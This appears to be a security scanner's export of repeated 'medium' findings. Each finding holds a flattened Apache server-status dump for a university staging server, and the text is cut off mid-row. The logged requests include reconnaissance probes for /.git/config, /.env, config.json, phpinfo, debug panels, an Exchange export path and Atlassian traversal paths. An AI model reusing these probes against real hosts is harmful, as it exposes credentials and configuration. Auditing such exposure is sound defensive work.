127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-27-0/0/269. 0.0116348300.00.001.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-27-0/0/450. 0.0116348100.00.0011.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-26-0/0/1452. 0.0017975900.00.0011.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-26-0/0/144. 0.0017975500.00.002.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-26-0/0/376. 0.8417719200.00.009.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-26-0/0/131. 0.0017978400.00.002.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-26-0/0/44. 0.0217972400.00.000.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-26-0/0/82. 0.0017978300.00.001.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-26-0/0/81. 0.0017978200.00.001.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-26-0/0/95. 0.0017978100.00.001.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-26-0/0/60. 0.0117972900.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-26-0/0/38. 0.0017978000.00.000.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-26-0/0/79. 0.0017977900.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-26-0/0/98. 0.0017977800.00.001.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-26-0/0/149. 0.0017977700.00.002.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 54-26-0/0/910. 0.0017977600.00.006.79 127.0.0.1http/1.1
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68192bb318
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Saturday, 01-Oct-2022 14:48:07 EDT Restart Time: Friday, 30-Sep-2022 03:02:35 EDT Parent Server Config. Generation: 4 Parent Server MPM Generation: 3 Server uptime: 1 day 11 hours 45 minutes 32 seconds Server load: 0.02 0.06 0.05 Total accesses: 28687 - Total Traffic: 122.2 MB CPU Usage: u57.53 s35.85 cu0 cs0 - .0725% CPU load .223 requests/sec - 995 B/second - 4466 B/request 10 requests currently being processed, 0 idle workers WW.KWWWKWW.W.................................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-3323500/731/2129W 7.22000.02.0410.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 1-3318902/741/2819K 7.93006.62.6811.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-3-0/0/2384. 2.551130300.00.009.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 3-391461/461/1682W 4.15003.31.437.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 4-391550/457/1818W 4.19000.01.4011.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-3261420/237/2537W 1.95000.00.959.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 6-3318710/833/2968W 20.88000.05.6015.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 7-3318721/777/2644K 7.39003.32.0910.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 8-3318820/736/2534W 7.81000.02.3010.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 9-3319060/873/2575W 14.58000.03.8510.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 10-3-0/0/1454. 0.001406100.00.004.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-3110921/302/1617W 2.910010.30.924.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 12-3-0/0/336. 0.001406000.00.002.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-2-0/0/2. 0.008378500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 14-2-0/0/1. 0.008378400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-2-0/0/1. 0.008378300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-2-0/0/1187. 11.822858200.00.003.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68b48a1436
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Saturday, 01-Oct-2022 14:48:07 EDT Restart Time: Friday, 30-Sep-2022 03:02:35 EDT Parent Server Config. Generation: 4 Parent Server MPM Generation: 3 Server uptime: 1 day 11 hours 45 minutes 32 seconds Server load: 0.02 0.06 0.05 Total accesses: 28684 - Total Traffic: 122.2 MB CPU Usage: u57.53 s35.85 cu0 cs0 - .0725% CPU load .223 requests/sec - 995 B/second - 4466 B/request 4 requests currently being processed, 6 idle workers W_.KW_____.W.................................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-3323500/731/2129W 7.22000.02.0410.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 1-3318900/739/2817_ 7.931000.02.6811.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 2-3-0/0/2384. 2.551130300.00.009.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 3-391461/461/1682K 4.15003.31.437.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 4-391550/457/1818W 4.19000.01.4011.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-3261420/237/2537_ 1.952000.00.959.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 6-3318710/833/2968_ 20.88000.05.6015.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 7-3318720/776/2643_ 7.39500.02.0910.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 8-3318820/736/2534_ 7.812500.02.3010.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 9-3319060/873/2575_ 14.581500.03.8510.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 10-3-0/0/1454. 0.001406100.00.004.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-3110920/301/1616W 2.91000.00.914.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 12-3-0/0/336. 0.001406000.00.002.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-2-0/0/2. 0.008378500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 14-2-0/0/1. 0.008378400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-2-0/0/1. 0.008378300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-2-0/0/1187. 11.822858200.00.003.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6818a620a6
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Saturday, 01-Oct-2022 14:48:12 EDT Restart Time: Friday, 30-Sep-2022 03:02:35 EDT Parent Server Config. Generation: 4 Parent Server MPM Generation: 3 Server uptime: 1 day 11 hours 45 minutes 36 seconds Server load: 0.02 0.06 0.05 Total accesses: 28720 - Total Traffic: 122.5 MB CPU Usage: u53.23 s28.53 cu0 cs0 - .0635% CPU load .223 requests/sec - 997 B/second - 4472 B/request 26 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKWKWWKKWW...................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-3323502/733/2131K 7.50437622.82.0610.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 1-3318903/742/2820K 7.93409.92.6911.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-3195722/2/2386K 0.053407.70.019.83 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 3-391463/463/1684K 4.154010.01.447.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 4-391552/459/1820K 4.47438623.01.4211.93 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-3261422/239/2539K 2.23437722.70.979.58 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 6-3318712/835/2970K 21.15439122.75.6215.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 7-3318723/779/2646K 7.39409.92.1010.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 8-3318821/737/2535K 7.95446911.52.3210.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 9-3319062/875/2577K 14.86437222.83.8710.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 10-3196932/2/1456K 0.26228922.70.024.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 11-3110922/303/1618K 2.924020.70.934.61 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 12-3197622/2/338K 0.26130822.70.022.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 13-3197672/2/4K 0.25130522.80.020.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 14-3197771/1/2K 0.13034111.50.010.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 15-3197821/1/2K 0.00103.30.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 16-3197851/1/1188K 0.13034711.40.013.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 17-3197941/1/1K 0.13033811.50.010.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 18-3198080/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 19-3198131/1/1K 0.000012.00.010.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 20-3198160/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 21-3198210/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3139342e313333/_/;/META-INF/maven/com.at 22-3198271/1/1K 0.00003.30.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 23-3198331/1/1K 0.00003.30.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 24-3198440/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e36362e313333/_/;/META-INF/maven/com.atla 25-3198490/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68e2f210f9
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Saturday, 01-Oct-2022 14:48:12 EDT Restart Time: Friday, 30-Sep-2022 03:02:35 EDT Parent Server Config. Generation: 4 Parent Server MPM Generation: 3 Server uptime: 1 day 11 hours 45 minutes 36 seconds Server load: 0.02 0.06 0.05 Total accesses: 28717 - Total Traffic: 122.5 MB CPU Usage: u53.23 s28.53 cu0 cs0 - .0635% CPU load .223 requests/sec - 997 B/second - 4471 B/request 20 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKWWSS.......................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-3323502/733/2131K 7.50437622.82.0610.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 1-3318903/742/2820K 7.93409.92.6911.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-3195722/2/2386K 0.053407.70.019.83 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 3-391463/463/1684K 4.154010.01.447.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 4-391552/459/1820K 4.47438623.01.4211.93 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-3261422/239/2539K 2.23437722.70.979.58 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 6-3318712/835/2970K 21.15339122.75.6215.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 7-3318723/779/2646K 7.39409.92.1010.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 8-3318821/737/2535K 7.95446911.52.3210.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 9-3319062/875/2577K 14.86437222.83.8710.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 10-3196932/2/1456K 0.26228922.70.024.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 11-3110922/303/1618K 2.924020.70.934.61 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 12-3197622/2/338K 0.26130822.70.022.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 13-3197672/2/4K 0.25130522.80.020.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 14-3197771/1/2K 0.13034111.50.010.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 15-3197821/1/2K 0.00103.30.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 16-3197851/1/1188K 0.13034711.40.013.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 17-3197941/1/1K 0.13033811.50.010.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 18-3198080/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 19-3198130/0/0W 0.00000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 20-0198160/0/0S 0.00166465009200.00.000.00 21-000/0/0S 0.00166465009200.00.000.00 22-000/0/0S 0.00166465009200.00.000.00 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68f363ebb2
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Mar 23 2022 14:54:27 Current Time: Tuesday, 02-Aug-2022 13:47:26 EDT Restart Time: Wednesday, 01-Jun-2022 08:05:45 EDT Parent Server Config. Generation: 73 Parent Server MPM Generation: 72 Server uptime: 62 days 5 hours 41 minutes 40 seconds Server load: 0.00 0.03 0.10 Total accesses: 7045663 - Total Traffic: 13.3 GB CPU Usage: u23.68 s21.74 cu0 cs0 - .000845% CPU load 1.31 requests/sec - 2648 B/second - 2021 B/request 10 requests currently being processed, 0 idle workers KWWW.K...WK..WW.....W........................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-72110903/32/584065K 0.520010.00.211119.27 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 1-7276663/814/596354K 3.320010.02.051138.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 2-72313441/479/549255W 1.050016.50.961046.16 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 3-72313260/1143/520666W 3.53000.02.86973.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 4-72-0/0/491599. 0.0064500.00.00941.53 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 5-721313787/104/434192K 0.4700108.10.19831.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80GET /server-status?auto HTTP/1.1 6-72-0/0/478675. 0.0159100.00.00904.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 7-72-0/0/453523. 1.4564600.00.00845.85 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 8-72-0/0/371294. 0.00107800.00.00710.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-72111000/226/453191W 0.62000.00.37866.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 10-72111143/34/297437K 0.290010.00.30579.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-72-0/0/280149. 0.0899500.00.00549.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 12-72-0/0/264113. 0.00108000.00.00505.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-72186390/551/183164W 1.97000.01.45370.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 14-72111210/225/123783W 0.57000.00.49251.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 15-72-0/0/142116. 0.00107900.00.00289.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-72-0/0/127509. 6.011183700.00.00279.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 17-72-0/0/72082. 4.13415800.00.00162.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-72-0/0/107155. 4.57331700.00.00198.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-72-0/0/38804. 0.001422600.00.0093.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-72304990/1890/63164W 6.08000.04.26118.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 21-72-0/0/100760. 1.68954200.00.00203.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-72-0/0/95700. 0.001422500.00.00174.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-72-0/0/54211. 0.001422400.00.00100.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-72-0/0/117839. 0.001422300.00.00231.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-64-0/0/15723. 0.0161266500.00.0023.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-63-0/0/2495. 2.0768274100.00.005.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-63-0/0/2203. 0.5968547900.00.0011.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-63-0/0/5230. 3.9267603500.00.008.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-63-0/0/18. 0.0168648900.00.000.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-63-0/0/957. 0.0068659400.00.001.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-63-0/0/1112. 0.0068659200.00.002.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-63-0/0/1869. 0.0068659100.00.003.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-63-0/0/315. 0.0068657600.00.000.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-63-0/0/476. 0.0068659000.00.000.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-63-0/0/2086. 1.4768274000.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-63-0/0/773. 0.0068658900.00.001.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-63-0/0/29. 0.0068658800.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-63-0/0/826. 0.0068658700.00.004.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-63-0/0/10311. 1.0068406500.00.0028.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-63-0/0/441. 0.0068658600.00.000.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6889f51361
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Mar 23 2022 14:54:27 Current Time: Tuesday, 02-Aug-2022 13:47:29 EDT Restart Time: Wednesday, 01-Jun-2022 08:05:45 EDT Parent Server Config. Generation: 73 Parent Server MPM Generation: 72 Server uptime: 62 days 5 hours 41 minutes 44 seconds Server load: 0.00 0.03 0.10 Total accesses: 7045686 - Total Traffic: 13.3 GB CPU Usage: u22.51 s18.75 cu0 cs0 - .000767% CPU load 1.31 requests/sec - 2648 B/second - 2021 B/request 20 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKWLSKS.......................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-72110903/32/584065K 0.523010.00.211119.27 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 1-7276663/814/596354K 3.323010.02.051138.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 2-72313442/480/549256K 1.053033.10.971046.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 3-72313262/1145/520668K 3.98241823.02.88973.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 4-72159661/1/491600K 0.003016.70.02941.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 5-721313791/108/434196K 0.4700113.10.20831.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80GET /server-status?auto HTTP/1.1 6-72159752/2/478677K 0.43141822.80.02904.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 7-72159762/2/453525K 0.45142122.80.02845.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 8-72159901/1/371295K 0.24047511.60.01710.83 